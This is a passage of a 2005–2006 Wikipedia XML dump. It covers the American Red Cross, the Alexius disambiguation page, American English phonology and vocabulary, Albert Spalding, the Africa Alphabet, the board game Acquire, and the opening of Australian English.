Significant changes to Red Cross fundraising collection and policy have since been implemented after the Liberty Fund debacle. Numerous watchdog organizations, such as Charity Navigator, have since given high praise to the improved system of honoring donor's intent and minimizing administration costs. During the Hurricane Katrina disaster, the American Red Cross issued a statement saying that 91 cents of every dollar donated specifically for the Hurricane Katrina disaster will go directly to disaster relief. This low overhead is remarkably low for such a large organization.

==International services==
The American Red Cross is involved with many international projects, such as the African Measles Initiative and the relief effort for the 2004 South Asia Tsunami disaster.

The Measles Initiative is a co-ordinated campaign with the US Centers for Disease Control, the World Health Organization and other public health groups, and aims to reduce measles deaths to zero in Africa. The campaign has achieved remarkable successes, in part due to the partnership with local goverments and vaccine producers which allow USD$ 1 to provide one child's measles vaccination. The program has been credited in reducing measles mortality and morbidity in the region, as well as boosting infrastructure for other vaccination and public health programs such as malaria prevention. The program has since been used in areas affected by the 2004 Asian Tsunami disaster. 

The American Red Cross has a depot of pre-positioned emergency relief supplies in Dubai, Saudi Arabia, which was used to respond to the 2004 Asian tsunami disaster, as well as the 2005 Pakistan/South Asia Earthquakes. 

The American Red Cross handles international tracing requests and searches for families who have been separated by war or disaster and are trying to locate relatives worldwide. This is not a genealogical service but one that attempts to establish contact between family members who knew each other at the time of the war related separation. Tracing services also provide the exchange of hand written Red Cross Messages between individuals and their relatives who may be refugees or prisoners of war. At any given time the American Red Cross tracing program is handling the aftermath of 20-30 wars, conflicts, etc. When new information from many former Soviet Union archives became available in 1990s, a special unit was created to handle World War II/Holocaust tracing services [http://english.its-arolsen.org/ (See International Tracing Service)]. The world-wide structure of national Red Cross, Red Crescent societies, the Magen David Adom of Israel and the International Committee of the Red Cross make this service possible.

==Armed Forces Emergency Services==
Although not a government agency, the American Red Cross provides important services to the United States military. The most notable service is emergency family communications, where families can contact the Red Cross to send important family messages (e.g. death in the family, or new birth). In such cases, the Red Cross can also act as a verifying agency of the situation. The American Red Cross works closely with other military societies, such as the Veteran's Administration, to provide other services to soldiers and their families. The American Red Cross is not involved with [[prisoners of war]]; rather, these are monitored by the [[International Committee of the Red Cross]], an international rather than national body.

A persistent comment by many veterans of World War II is their memory of the American Red Cross selling &quot;comfort items&quot; such as toothpaste and cigarettes to the troops. The American Red Cross acknowledges that they did indeed sell such items, and the unfortunate repercussions have marred the agency's name for many years. In response to such allegations, the American Red Cross responds with these facts, indicating that the organization did not initially want to charge for such products:
 
* At the request of the Secretary of War, the American Red Cross charged a nominal fee for coffee and doughnuts, as well as for lodging, barber and valet services, in stationary military installations overseas. It did not charge in mobile facilities such as Clubmobiles.

* This request was made because other agencies working overseas were compelled to charge for similar items. Giving these items free to U.S. service members would, it was feared, demoralize Allied troops.

* The official War Department recommendation was made in a letter dated May 20, 1942, written by Mr. Stimson, Secretary of War, and addressed to the Chairman of The American National Red Cross.

== Clara Barton National Historic Site ==
In [[1975]], [[Clara Barton National Historic Site]] was established as a unit of the [[National Park Service]] at her Glen Echo, Maryland home near [[Washington, D.C.]] The first National Historic Site dedicated to the accomplishments of a woman, it preserves the early history of the American Red Cross and the last home of its founder. Clara Barton spent the last 15 years of her life in her Glen Echo home, and it served as an early headquarters of the American Red Cross as well.

The National Park Service has restored eleven rooms, including the Red Cross offices, parlors and Miss Barton's bedroom. Visitors to Clara Barton National Historic Site can gain a sense of how Miss Barton lived and worked surrounded by all that went into her life's work. Visitors to the site are led through the three levels on a guided tour emphasizing Miss Barton's use of her unusual home, and come to appreciate the site in the same way visitors did in Clara Barton's lifetime. [http://www.nps.gov/clba/house.htm]

==Further reading==
*[[Foster Rhea Dulles]] ''American Red Cross'' (Harper &amp; Brothers, 1950)

==See also==
*[[Red Cross]]
*[[First aid]]
*[[cardiopulmonary resuscitation|CPR]]
*[[List of Red Cross and Red Crescent Societies]]
*[[Johnstown Flood]]

==External links==
*[http://www.redcross.org Official website]
*[https://www.givelife.org Blood Donations]
*[http://www.blitzkriegbaby.de/ ARC history and WWII women's uniforms in color] &amp;mdash; WWII US women's service organizations (ARC, WAC, WAVES, ANC, NNC, USMCWR, PHS, SPARS and WASP)]

[[Category:American charities]]
[[Category:Red Cross]]</text>
    </revision>
  </page>
  <page>
    <title>Alexius</title>
    <id>1887</id>
    <revision>
      <id>21780908</id>
      <timestamp>2005-08-25T04:48:11Z</timestamp>
      <contributor>
        <username>Boojum</username>
        <id>66698</id>
      </contributor>
      <comment>rv blanking</comment>
      <text xml:space="preserve">There have been several people named '''Alexius'''

* [[Alexius I Comnenus]] ([[1048]]-[[1118]]), [[Byzantine emperor]]
* [[Alexius II Comnenus]] ([[1167]]-[[1183]]), Byzantine emperor
* [[Alexius III]], Byzantine emperor
* [[Alexius IV]], Byzantine emperor
* [[Alexius V]], Byzantine emperor
* [[Alexius I of Trebizond]], [[Empire of Trebizond|Emperor of Trebizond]]
* [[Alexius II of Trebizond]], Emperor of Trebizond
* [[Alexius III of Trebizond]], Emperor of Trebizond
* [[Alexius IV of Trebizond]], Emperor of Trebizond
* [[Alexius Mikhailovich]] ([[1629]]-[[1676]]), [[tsar]] of [[Russia]]
* [[Alexius Petrovich]] ([[1690]]-[[1718]]), [[Russia]]n tsarevich
* [[Alexius, Metropolitan of Moscow]], ([[1354]]-[[1378]])
* [[Patriarch Alexius II]] ([[1990]]-present), [[Patriarch of Moscow]] and all [[Russia]]
* [[Saint Alexius]]

{{disambig}}

[[nl:Alexius]]</text>
    </revision>
  </page>
  <page>
    <title>Ban on assault rifles</title>
    <id>1889</id>
    <revision>
      <id>15900350</id>
      <timestamp>2005-03-11T01:58:54Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Federal assault weapons ban]]</text>
    </revision>
  </page>
  <page>
    <title>American English</title>
    <id>1890</id>
    <revision>
      <id>41910104</id>
      <timestamp>2006-03-02T15:32:53Z</timestamp>
      <contributor>
        <username>Adrian Robson</username>
        <id>265480</id>
      </contributor>
      <comment>&quot;far be it from me&quot; not a good example as this used all the time in Britain</comment>
      <text xml:space="preserve">{{English dialects}}
'''American English''' ('''AmE''') is the [[dialect]] of the [[English language]] used mostly in the [[United States|United States of America]]. It is estimated that approximately two thirds of [[first language|native speakers]] of English live in the [[United States]].{{ref|Crystal}} American English is also sometimes called '''United States English''' or '''U.S. English'''.

==History==
English was inherited from [[British colonization of the Americas|British colonization]]. The first wave of English-speaking settlers arrived in North America in the 17th century. In that century, there were also speakers in North America of the [[Dutch language|Dutch]], [[French language|French]], [[German language|German]], myriad [[Native American languages|Native American]], [[Spanish language|Spanish]], [[Swedish language|Swedish]], [[Scots language|Scots]], [[Welsh language|Welsh]], [[Irish language|Irish]], [[Scottish Gaelic language|Scottish Gaelic]] and [[Finnish language|Finnish]] languages.

==Phonology==
{{IPA notice}}
In many ways, compared to [[British English]], American English is conservative in its [[phonology]]. The conservatism of American English is largely the result of the fact that it represents a mixture of various dialects from the British Isles. Dialect in North America is most distinctive on the [[East Coast of the United States|East Coast]] of the continent; this is largely because these areas were in contact with England, and imitated prestigious varieties of British English at a time when those varieties were undergoing changes. The interior of the country was settled by people who were no longer closely connected to England, as they had no access to the ocean during a time when journeys to Britain were always by sea. As such the inland speech is much more homogeneous than the East Coast speech, and did not imitate the changes in speech from England. 

[[Image:Non rhotic-whites-usa.png|thumb|left|The red areas are those where non-rhotic pronunciations are found among some whites in the [[United States]]. [[African American Vernacular English|AAVE]]-influenced non-rhotic pronunciations may be found among blacks throughout the country. Map based on Labov, Ash, and Boberg (2006: 48).]]
Most North American speech is [[rhotic and non-rhotic accents|rhotic]], as English was in most places in the 17th century. Rhoticity was further supported by [[Hiberno-English]], [[Scottish English]], and [[West Country dialects|West Country]] English. In most varieties of [[North American English]], the sound corresponding to the letter &quot;R&quot; is a [[retroflex]] [[semivowel]] rather than a trill or a tap. The loss of syllable-final ''r'' in North America is confined mostly to the accents of [[Boston accent|eastern New England]], [[New York-New Jersey English|New York City]] and surrounding areas, South [[Philadelphia]], and the coastal portions of the [[Southern American English|South]]. Dropping of syllable-final ''r'' sometimes happens in natively rhotic dialects if ''r'' is located in unaccented syllables or words and the next syllable or word begins in a consonant. In England, lost 'r' was often changed into {{IPA|[ə]}} ([[schwa]]), giving rise to a new class of falling [[diphthong]]s. Furthermore, the 'er' sound of (stressed) ''fur'' or (unstressed) ''butter'', which is represented in [[International Phonetic Alphabet|IPA]] as stressed {{IPA|[ɝ]}} or unstressed {{IPA|[ɚ]}} is realized in American English as a [[monophthong]]al [[r-colored vowel]]. This does not happen in the non-rhotic varieties of North American speech.

Some other British English changes in which most North American dialects do not participate:

* The shift of {{IPA|[æ]}} to {{IPA|[ɑ]}} (the so-called &quot;[[broad A]]&quot;) before {{IPA|[f], [s], [θ], [ð], [z], [v]}} alone or preceded by {{IPA|[n]}}. This is the difference between the British [[Received Pronunciation]] and American pronunciation of ''bath'' and ''dance''. In the United States, only linguistically conservative eastern-New-England speakers took up this innovation.

* The shift of intervocalic {{IPA|[t]}} to glottal stop {{IPA|[ʔ]}}, as in {{IPA|/bɒʔəl/}} for ''bottle''. This change is not universal for British English (and in fact is not considered to be part of [[Received Pronunciation]]), but it does not occur in most North American dialects. [[Newfoundland English]] and the dialect of [[New Britain, Connecticut]] are notable exceptions.

On the other hand, North American English has undergone some sound changes not found in Britain, at least not in standard varieties. Many of these are instances of [[phonemic differentiation]] and include

* The [[Phonological history of the low back vowels#Father-bother merger|merger of {{IPA|[ɑ]}} and {{IPA|[ɒ]}}]], making ''father'' and ''bother'' rhyme. This change is nearly universal in North American English, occurring almost everywhere except for parts of eastern New England, like the [[Boston accent]].

* The replacement of the lot vowel with the strut vowel in ''what'', ''was'', ''of'', ''from'', ''everybody'', ''nobody'', ''somebody'', ''anybody'', ''because'', and in some dialects ''want''.

* The merger of {{IPA|[ɒ]}} and {{IPA|[ɔ]}}. This is the so-called [[Phonological history of the low back vowels#Cot-caught merger|cot-caught merger]], where ''cot'' and ''caught'' are [[homophone]]s. This change has occurred in eastern New England, in [[Pittsburgh English|Pittsburgh]] and surrounding areas, and from the [[Great Plains]] westward.

* [[English-language vowel changes before historic r|Vowel merger]] before intervocalic {{IPA|/r/}}.  Which (if any) vowels are affected varies between dialects. 

* The merger of {{IPA|[ʊɹ]}} and {{IPA|[ɝ]}} after [[palatal consonant|palatals]] in some words, so that ''cure'', ''pure'', ''mature'' and ''sure'' rhyme with ''fir'' in some speech registers for some speakers.

* [[English consonant cluster reductions#Yod-dropping|Dropping]] of {{IPA|[j]}} after [[alveolar consonant]]s so that ''new'', ''duke'', ''Tuesday'', ''suit'', ''resume'', ''lute'' are pronounced {{IPA|/nuː/}}, {{IPA|/duːk/}}, {{IPA|/tuːzdeɪ/}}, {{IPA|/suːt/}}, {{IPA|/ɹɪzuːm/}}, {{IPA|/luːt/}}.

* [[Phonological history of English short A#æ-tensing|æ-tensing]] in environments that vary widely from accent to accent. In some accents, particularly those from [[Philadelphia, Pennsylvania|Philadelphia]] to [[New York City]], {{IPA|[æ]}} and {{IPA|[eə]}} can even contrast sometimes, as in ''Yes, I '''can''''' {{IPA|[kæn]}} vs. ''tin '''can''''' {{IPA|[keən]}}.

* Laxing of {{IPA|/e/}}, {{IPA|/i/}} and {{IPA|/u/}} to {{IPA|/ɛ/}}, {{IPA|/ɪ/}} and {{IPA|/ʊ/}} before {{IPA|/ɹ/}}, causing pronunciations like {{IPA|[pɛɹ]}}, {{IPA|[pɪɹ]}} and {{IPA|[pjʊɹ]}} for ''pair'', ''peer'' and ''pure''.

* The [[flapping]] of intervocalic {{IPA|/t/}} and {{IPA|/d/}} to [[alveolar tap]] {{IPA|[ɾ]}} before reduced vowels.  The words ''ladder'' and ''latter'' are mostly or entirely homophonous, possibly distinguished only by the length of preceding vowel.  For some speakers, the merger is incomplete and 't' before a reduced vowel is sometimes not tapped following {{IPA|[eɪ]}} or {{IPA|[ɪ]}} when it represents underlying 't'; thus ''greater'' and ''grader'', and ''unbitten'' and ''unbidden'' are distinguished. Even among those words where {{IPA|/t/}} and {{IPA|/d/}} are flapped, words that would otherwise be homophonous are, for some speakers, distinguished if the flapping is immediately preceded by the diphthongs {{IPA|/ɑɪ/}} or {{IPA|/ɑʊ/}}; these speakers tend to pronounce ''writer'' with {{IPA|[əɪ]}} and ''rider'' with {{IPA|[ɑɪ]}}.  This is called [[Canadian raising]]; it is general in [[Canadian English]], and occurs in some northerly versions of American English as well (often just applying to the diphthong {{IPA|/ɑɪ/}}, but not to {{IPA|/ɑʊ/}}).

* Both intervocalic {{IPA|/nt/}} and {{IPA|/n/}} may be realized as {{IPA|[n]}} or {{IPA|[ɾ̃]}}, making ''winter'' and ''winner'' homophones. This does not occur when the second syllable is stressed, as in ''entail''.

* The [[Phonological history of the high front vowels#Pin-pen merger|pin-pen merger]], by which {{IPA|[ɛ]}} is raised to {{IPA|[ɪ]}} before [[nasal consonant]]s, making pairs like ''pen''/''pin'' homophonous. This merger originated in [[Southern American English]] but is now widespread in the Midwest and West as well.

Some mergers found in most varieties of both American and British English include:

* The [[English-language vowel changes before historic r#Horse-hoarse merger|horse-hoarse merger]] of the vowels {{IPA|[ɔ]}} and {{IPA|[oʊ]}} before 'r', making pairs like ''horse/hoarse'', ''corps/core'', ''for/four'', ''morning/mourning'' etc. [[homophones]].

* The [[English consonant cluster reductions#Wine-whine merger|wine-whine merger]] making pairs like ''wine/whine'', ''wet/whet'', ''Wales/whales'', ''wear/where'' etc. [[homophone]]s, in most cases eliminating {{IPA|/ʍ/}}, the [[voiceless labiovelar fricative]]. Many older varieties of southern and western American English still keep these distinct, but the merger appears to be spreading.

==Differences in British English and American English==
''Main article'': [[American and British English differences]]

American English has both spelling and grammatical differences from [[British English]] (or [[Commonwealth English]]), some of which were made as part of an attempt to rationalize the English spelling used by British English at the time. Unlike many 20th century [[language reform]]s (for example, [[Turkey]]'s alphabet shift, [[Norway]]'s spelling reform) the American [[spelling]] changes were not driven by government, but by textbook writers and dictionary makers.

The first American dictionary was written by [[Noah Webster]] in [[1828]]. At the time the United States was a relatively new country and Webster's particular contribution was to show that the region spoke a different dialect from Britain, and so he wrote a dictionary with many spellings differing from the standard. Many of these changes were initiated unilaterally by Webster.

Webster also argued for many &quot;simplifications&quot; to the idiomatic spelling of the period. Somewhat ironically, many, although not all, of his simplifications fell into common usage alongside the original versions with simple spelling modifications.

Many words are shortened and differ from other versions of English. Spellings such as ''center'' are used instead of ''centre'' in other versions of English. Conversely, American English sometimes favors words that are [[Morphology (linguistics)|morphologically]] more complex, whereas British English uses clipped forms, such as AmE ''transportation'' and BrE ''transport'' or where the British form is a [[back-formation]], such as AmE ''burglarize'' and BrE ''burgle'' (from ''burglar'').

==English words that arose in the U.S.==

A number of words that arose in the United States have become common, to varying degrees, in English as it is spoken internationally. Although its origin is disputed, most etymologies of &quot;[[Okay|OK]]&quot; place its widespread usage in America of the early 19th century. Other American introductions include &quot;belittle,&quot; &quot;[[gerrymander]]&quot; (from [[Elbridge Gerry]]), &quot;[[blizzard]]&quot;, &quot;[[teenager]]&quot;, and many more.

==English words obsolete outside the U.S.==

A number of words that originated in the English of the British Isles are still in everyday use in North America, but are no longer used in most varieties of British English.  The most conspicuous of these words are ''[[autumn|fall]]'', the season; ''to quit'', as in &quot;to cease an activity&quot; (as opposed to &quot;to leave a location&quot; as still used in most other Anglophone countries); and ''gotten'' as a [[past participle]] of ''get''.  Americans are more likely than Britons to name a [[stream]] a ''creek'' if its breadth or volume is judged insufficient for it to be a ''[[river]]''.  The word ''[[diaper]]'' goes back at least to [[William Shakespeare|Shakespeare]], and usage was maintained in the U.S. and Canada, but was replaced in the British Isles with ''nappy''.

Some of these words are still used in various dialects of the British Isles, but not in formal standard British English.  Many of these older words have cognates in [[Lowland Scots]].

The [[subjunctive mood]] (America, America, God '''shed''' His grace on thee, and '''crown''' thy good... ) is livelier in North American English than it is in British English; it appears in some areas as a spoken usage, and is considered obligatory in more formal contexts in American English.  British English has a strong tendency to replace subjunctives with [[auxiliary verb]] constructions.

==Regional differences==

''Main article: [[American English regional differences]]''

Spoken American English is not homogeneous throughout the country, and various regional and ethnic variants exist. These differences affect both pronunciation and the lexicon, and can make one accent a little difficult for speakers of another accent to understand. [[General American]] is the name given to any American accent that is relatively free of noticeable regional influences. It enjoys high prestige among Americans, but is not a [[standard language|standard accent]] in the way that [[Received Pronunciation]] is in [[England]].

==See also==
*[[Regional accents of English speakers]]
*[[Regional Vocabularies of American English]]
*[[Dictionary of American Regional English]]
*[[International Phonetic Alphabet for English]]
*[[IPA chart for English]]
*Dialects: [[African American Vernacular English]], [[Liberian English]] (a descendant of American English)
*[[UK-US Heterologues A-Z]]
*[[List of dialects of the English language]]

==Further reading==
*&lt;cite&gt;The American Language 4th Edition, Corrected and Enlarged&lt;/cite&gt;, [[H. L. Mencken]], Random House, 1948, hardcover, ISBN 0394400755
*&lt;cite&gt;How We Talk: American Regional English Today&lt;/cite&gt;, Allan Metcalf, Houghton Mifflin Company, 2000, softcover, ISBN 0618043624
** 1st and 2nd supplements of above.
* Craig M. Carver. ''American Regional Dialects: A Word Geography''. Ann Arbor: University of Michigan Press, 1987. ISBN 0472100769

==References==
{{note|Crystal}} [[David Crystal|Crystal, David]] (1997). ''English as a Global Language'', Cambridge: Cambridge University Press. ISBN 0521530326.
*[[William Labov|Labov, William]], Sharon Ash, and Charles Boberg (2006). ''The Atlas of North American English'', Berlin: Mouton de Gruyter. ISBN 3110167468.

==External links==
{{Wiktionary}}
*[http://www.pbs.org/speak/ Do You Speak American]: PBS special
*[http://cfprod01.imt.uwm.edu/Dept/FLL/linguistics/dialect/ Dialect Survey] of the United States, by Bert Vaux et al., [[Harvard University]]. The answers to various questions about pronunciation, word use etc. can be seen in relationship to the regions where they are predominant.
*[http://www.ling.upenn.edu/phono_atlas/home.html Phonological Atlas of North America] at the [[University of Pennsylvania]]
*[http://students.csci.unt.edu/~kun Guide to Regional English Pronunciation] includes working versions of the Telsur Project maps from the Phonological Atlas site
*[http://www.peak.org/~jeremy/dictionary/ The American•British British•American Dictionary]
*[http://classweb.gmu.edu/accent/ Speech Accent Archive]
*[http://www.world-english.org/ World English Organization]
*[http://www.esuus.org English Speaking Union of the United States]
* [http://australianenglish1.narod.ru Australian American British English Lexical Differences In One Table And More]
* [http://www.englisch-hilfen.de/en/words_list/british_american.htm British, American, Australian English - Lists and Online Exercises]
* [http://www.globalenglishsalon.com/ Listen to spoken American English (midwest}]

[[Category:American English|*]]
[[Category:Languages of the United States|English]]
[[Category:North American English]]
[[Category:Forms of English]]

[[de:Amerikanisches Englisch]]
[[fr:Anglais américain]]
[[ko:미국 영어]]
[[it:Dialetto inglese americano]]
[[he:אנגלית אמריקנית]]
[[hu:Amerikai angol nyelv]]
[[simple:American English]]
[[fi:Amerikanenglanti]]
[[sv:Amerikansk engelska]]
[[th:อังกฤษอเมริกัน]]
[[zh:美国英语]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Spalding</title>
    <id>1893</id>
    <revision>
      <id>38042782</id>
      <timestamp>2006-02-03T20:12:08Z</timestamp>
      <contributor>
        <username>Floydspinky71</username>
        <id>481511</id>
      </contributor>
      <text xml:space="preserve">[[Image:Al_Spalding_Baseball.jpg|right|thumb|Al Spalding's sporting goods company made a lasting impact on baseball.]]
'''Albert Goodwill Spalding''' ([[Byron, Illinois|Byron]], [[Illinois]] [[September 2]], [[1850]] &amp;ndash; [[September 9]], [[1915]] in [[Point Loma, California|Point Loma]], [[California]]) was a professional [[baseball]] player and famous [[Sports equipment|sporting goods]] manufacturer founder.

Having played baseball throughout his youth, Spalding first played competitively with the [[Rockford, Illinois|Rockford]] Pioneers, a youth team, whom he joined in [[1865]].  After pitching his team to a 26-2 victory over a local men's amateur team (the Mercantiles), he was approached by another, the Forest Citys, for whom he played for two years.  In the autumn of [[1867]] he accepted a $40 per week contract, nominally as a clerk, but really to play professionally for the Chicago Excelsiors, a not uncommon arrangement contrary to the rules of the time.  Following the formation of the [[National Association of Professional Baseball Players|National Association]], baseball's first professional league, in [[1871]], Spalding joined the [[Atlanta Braves|Boston Red Stockings]] (a different club to the modern Red Sox) and was highly successful; winning 205 games (and losing only 53) as a pitcher and batting .323 as a hitter.  After the NA folded, he joined the [[Chicago Cubs|Chicago White Stockings]] of the newly formed [[National League]] in 1876, winning 47 games as the club captured the league's inaugural pennant.  Spalding retired from baseball two years later.

{{MLB HoF}}
Retired from the game, he and his brother opened a sporting goods store in Chicago, obtaining the rights to produce the official National League ball.  The business, which grew rapidly over the next 25 years, with 14 stores by 1901, expanded from retail into manufacturing baseball equipment and is still a going concern.  In 1900 Spalding was appointed by [[William McKinley|President McKinley]] as the USA's Commissioner at that year's [[Summer Olympic Games]].  Seven years later, his prompting would lead to the founding of the commission that (erroneously) declared baseball to be the invention of [[Abner Doubleday]].

Receiving the archives of the late [[Henry Chadwick]] in 1908, Spalding combined these records with his own memories (and biases) to write ''[[Americas National Game]]'' (published 1911) which, despite its flaws, was probably the first scholarly account of the [[history of baseball]].

He was elected to the [[Baseball Hall of Fame]] by the Old Timer's Committee in [[Baseball Hall of Fame balloting, 1939|1939]].

{{start box}}
{{succession box | title=[[Chicago Cubs|Chicago White Stockings Manager]] | before=''First Manager'' | years=1876-1877| after= [[Bob Ferguson (baseball manager)|Bob Ferguson]]
}}
{{end box}}

==External links==
* [http://www.baseballhalloffame.org/hofers_and_honorees/hofer_bios/spalding_al.htm Baseball Hall Of Fame]
* [http://www.spalding.com Official webpage of Spalding's company]
* {{baseball-reference|id=s/spaldal01}}

[[Category:1850 births|Spalding, Albert]]
[[Category:1915 deaths|Spalding, Albert]]
[[Category:Baseball Hall of Fame|Spalding, Albert]]
[[Category:19th century baseball players|Spalding, Albert]]
[[Category:Baseball executives|Spalding, Albert]]
[[Category:Baseball managers|Spalding, Albert]]</text>
    </revision>
  </page>
  <page>
    <title>Africa Alphabet</title>
    <id>1894</id>
    <revision>
      <id>36796204</id>
      <timestamp>2006-01-26T15:08:52Z</timestamp>
      <contributor>
        <username>Moyogo</username>
        <id>44443</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Africa Alphabet''' was developed in [[1928]] under the lead of [[Diedrich Westermann]]. He  developed it  with a group of [[Africanist]]s at the International Institute of African Languages and Cultures (later the [[International African Institute|IAI]]) in London. Its aim was to be able to write all the [[African languages]] for practical and scientific purposes.

== Characters ==
{|class=&quot;wikitable&quot;
|-
| '''lowercase''' || a || b || ɓ || c || d || ɖ || e || ɛ || ǝ || f || ƒ || g || ɣ || h || x || i || j || k
|- style=&quot;border-bottom: solid&quot;
| '''uppercase''' || A || B || Ɓ || C || D || Ɖ || E || Ɛ || Ǝ || F || Ƒ || G || Ɣ || H || X || I || J || K
|-
| '''lowercase''' || l || m || n || ŋ || o || ɔ || p || r || s || ʃ || t || u || v || ʋ || w || y || z || ʒ
|-
| '''uppercase''' || L || M || N || Ŋ || O || Ɔ || P || R || S || Ʃ || T || U || V || Ʋ || W || Y || Z || Ʒ
|}


==See also== 
[[Standard Alphabet by Lepsius]], [[African reference alphabet]]

==References==

''The Blackwell Encyclopedia of Writing Systems'', Florian Coulmas, 1996, Blackwell, Oxford

IIACL [http://www.bisharat.net/Documents/poal30.htm ''Practical Orthography of African Languages''], Revised Edition, London: Oxford University Press, 1930

{{writingsystem-stub}}

[[Category:Alphabetic writing systems]]

[[de:Afrika-Alphabet]]
[[fr:Alphabet international africain]]</text>
    </revision>
  </page>
  <page>
    <title>Acquire</title>
    <id>1896</id>
    <revision>
      <id>41752318</id>
      <timestamp>2006-03-01T14:14:44Z</timestamp>
      <contributor>
        <ip>80.61.63.34</ip>
      </contributor>
      <comment>/* Variants */</comment>
      <text xml:space="preserve">[[Image:acquirecover.jpg|200px|right|]]
'''Acquire''' is an abstract [[board game]] of investing in [[hotel]] chains.  It was designed by the renowned game inventor [[Sid Sackson]] in the [[1960s]], and is currently owned by [[Avalon Hill]].  It is well-suited to family play because the rules are simple, no one gets eliminated, and each game takes only about 75 minutes.  On the other hand, it also attracts hard core gamers because there are many opportunities for skilled players to gain an advantage over less-skilled players.  The random drawing of tiles keeps the game fresh for everyone and gives weaker players an opportunity to triumph, but does not prevent stronger players from winning most of the time. 

==Equipment==
* The game board, a rectangular array with room for one tile per location, as in [[Scrabble]].  The twelve columns are labeled 1 to 12, and the nine rows labeled from A to I.  
* 108 wooden tiles ( later versions having plastic ), one for each space of the board.  Each tile has its location such as '''7A''' or '''1H''' printed on one side; that is the only location in which the tile may be played.  Each tile represents a hotel, and adjacent tiles represent hotel chains.
* Six racks in which the players hold the tiles they have drawn.
* Seven markers for hotel chains: two indicating relatively cheap chains, two indicating relatively expensive chains, and three indicating medium cost chains.
* Twenty-five shares of stock for each of the seven hotel chains.
* A supply of play money.

==Rules==
From three to six may play comfortably.  It is possible to play with two, but not very interesting.  Standard tournament games are played with four.

The game starts with six tiles picked randomly and placed in their locations.  This doubles as a convenient way to determine which player goes first: each player draws one of the tiles for the initial setup, and the player with the lowest-numbered tile goes first.

Each player begins the game with $6000 in cash and six tiles picked at random for their starting racks.  On each turn of the game, the player whose turn it is
# must play one tile
# must deal with the merger or founding of a new company if one results
# may buy stock
# must draw one tile

Whenever a player places a tile horizontally or vertically adjacent to a tile which is not already part of a hotel chain, that player has the option of founding a new hotel chain, unless all seven hotel chains are already in play.  The player may choose to found any chain not already in play, and receives one share of stock in the new chain at no charge.

Each player may, after playing a tile on his turn, purchase up to three shares of stock in existing hotel chains.  Only the player whose turn it is may buy stock.

When a new tile is placed adjacent to an existing hotel chain, the chain becomes larger and its stock increases in value and price.  When a new tile is placed adjacent to tiles from two or more different chains, those chains merge into a single hotel chain, with the largest chain taking over.  If there is a tie for the largest chain, the player placing the merging tile chooses which of those will take over.

When a hotel chain is merged out of existence, the players with the most and second-most shares receive cash bonuses.  Then each player decides what to do with their shares in the now-defunct chain.  They may:
# Trade them in for cash at face value
# Trade them in at a ratio of two to one for shares of the chain that took over
# Keep the shares in the hopes that the hotel chain will be founded again later.

Hotel chains with eleven or more tiles are deemed too big to be merged out.  A tile which would connect two chains of eleven or more is unplayable, and may be placed face-down in its location at any time in exchange for a fresh tile.  The game ends when one hotel chain reaches forty-one tiles, or when all chains are too large to merge.  At the end of the game, all hotel chains pay bonuses to the largest shareholders as if they were being merged out, and all shares of stock are cashed in for face value.  The richest player wins.

==Strategy==
[[Cash flow]] is the critical element of [[strategy]].  On one hand there is pressure to buy stock in order to become the largest shareholder and receive a bonus, but on the other hand holding only stock and no cash prevents one from buying into lucrative new chains as they are founded.  The winner is often not the majority stockholder in the hotel chain which acquires all the others, but the player who contrives to have several of his small chains acquired while holding a majority.

The mergers of hotel chains are the critical junctures of the game because those are the only times cash comes to the players.  Stock can't be traded or sold except during a merger.  On the other hand, some games (and some players) will be more cash rich than others, which decreases the importance of holding cash and increases the importance of holding stock.  At such times it may be wiser to hold onto stock or to trade it in two for one.

The cash flow of a game is greatly affected by the number of players involved.  All players can sell during a merger, but only the player whose turn it is can buy stock, so five- or six-player games have relatively many opportunities to sell, whereas three- player games have relatively many opportunities to buy.  Experts consider the four-player game the best for creating critical cash flow decisions.

Whenever cash is plentiful, which tends to happen towards the middle of the game, but will happen at different times for different players, and sooner or later depending on the relative number of mergers, it becomes more important to think about the shareholder bonuses when the game ends.  One must consider that all twenty-five shares in each company will probably be bought before the players run out of cash.

At the crux between the game-end bonuses and the short-term need for cash is the decision whether to increase the size of a chain by playing next to it, or to withhold adjacent tiles.  If your chain doesn't grow, your shares don't increase in value, and you could conceivably be forced to cash out at exactly the price you bought in at.  On the other hand, if you play all the adjacent tiles you have, you will not be able to create mergers when you need them; the timing will be in someone else's hands.

==Variants==
* Some players play with all information (except the tiles held by players) open at all times, while others play that the cash and stock holdings of players are kept secret.  The official rules do not clearly prefer either variant.
* There is also a variant of the game in which play is simultaneous, instead of players taking turns.  For each phase of a turn, the players prepare their moves and then announce them when everyone is ready.  If players try to make moves that conflict with each other (such as two people trying to buy stock in the same chain when only one share is available), they must bid cash to decide the outcome.  This variant tends to be faster-paced and less predictable than the standard rules.
* One variant is to begin play with all tiles, except the ones the players have on hand, placed out on the board in their proper places, but placed upside down. The player then picks freely any one of these tiles at the end of his turn. This decreases the element of luck in game play.
* A nice touch is to grant a player who just created a new chain a one-time opportunity to buy four shares of that chain instead of three (no shares of other chains may be bought). This makes for an extra incentive to start a new chain.

==External links==
* [http://www.boardgamegeek.com/game/5 Acquire information at boardgamegeek.com]
[[Category:Economic simulation board games]]
[[de:Acquire]]
[[zh:Acquire]]</text>
    </revision>
  </page>
  <page>
    <title>Australian English</title>
    <id>1897</id>
    <revision>
      <id>42096734</id>
      <timestamp>2006-03-03T20:28:52Z</timestamp>
      <contributor>
        <ip>62.31.55.223</ip>
      </contributor>
      <comment>/* Cultivated Australian English */ removed blank line</comment>
      <text xml:space="preserve">{{English_dialects}}
'''Australian English''' ('''AuE''') is the form of the [[English language]] used in [[Australia]].  

==Relationship to other varieties of English==
Australian English began to diverge from [[British English]] soon after the foundation of the [[colony]] of [[New South Wales]] (NSW) in [[1788]]. The settlement was intended originally as a [[penal colony]] for British [[convict]]s. They were mostly people from large [[England|English]] cities, such as [[Cockney]]s. In [[1827]], [[Peter Cunningham]], in his book ''Two Years in New South Wales'', reported that native-born white Australians spoke with a distinctive accent and vocabulary, albeit with a strong Cockney influence. (The transportation of convicts to Australian colonies continued until 1868.) A much larger wave of immigration, as a result of the first [[Australian gold rushes]], in the [[1850s]], also had a significant influence on Australian English, including large numbers of people who spoke English as a second language. Since that time, Australian English has borrowed increasingly from external sources.

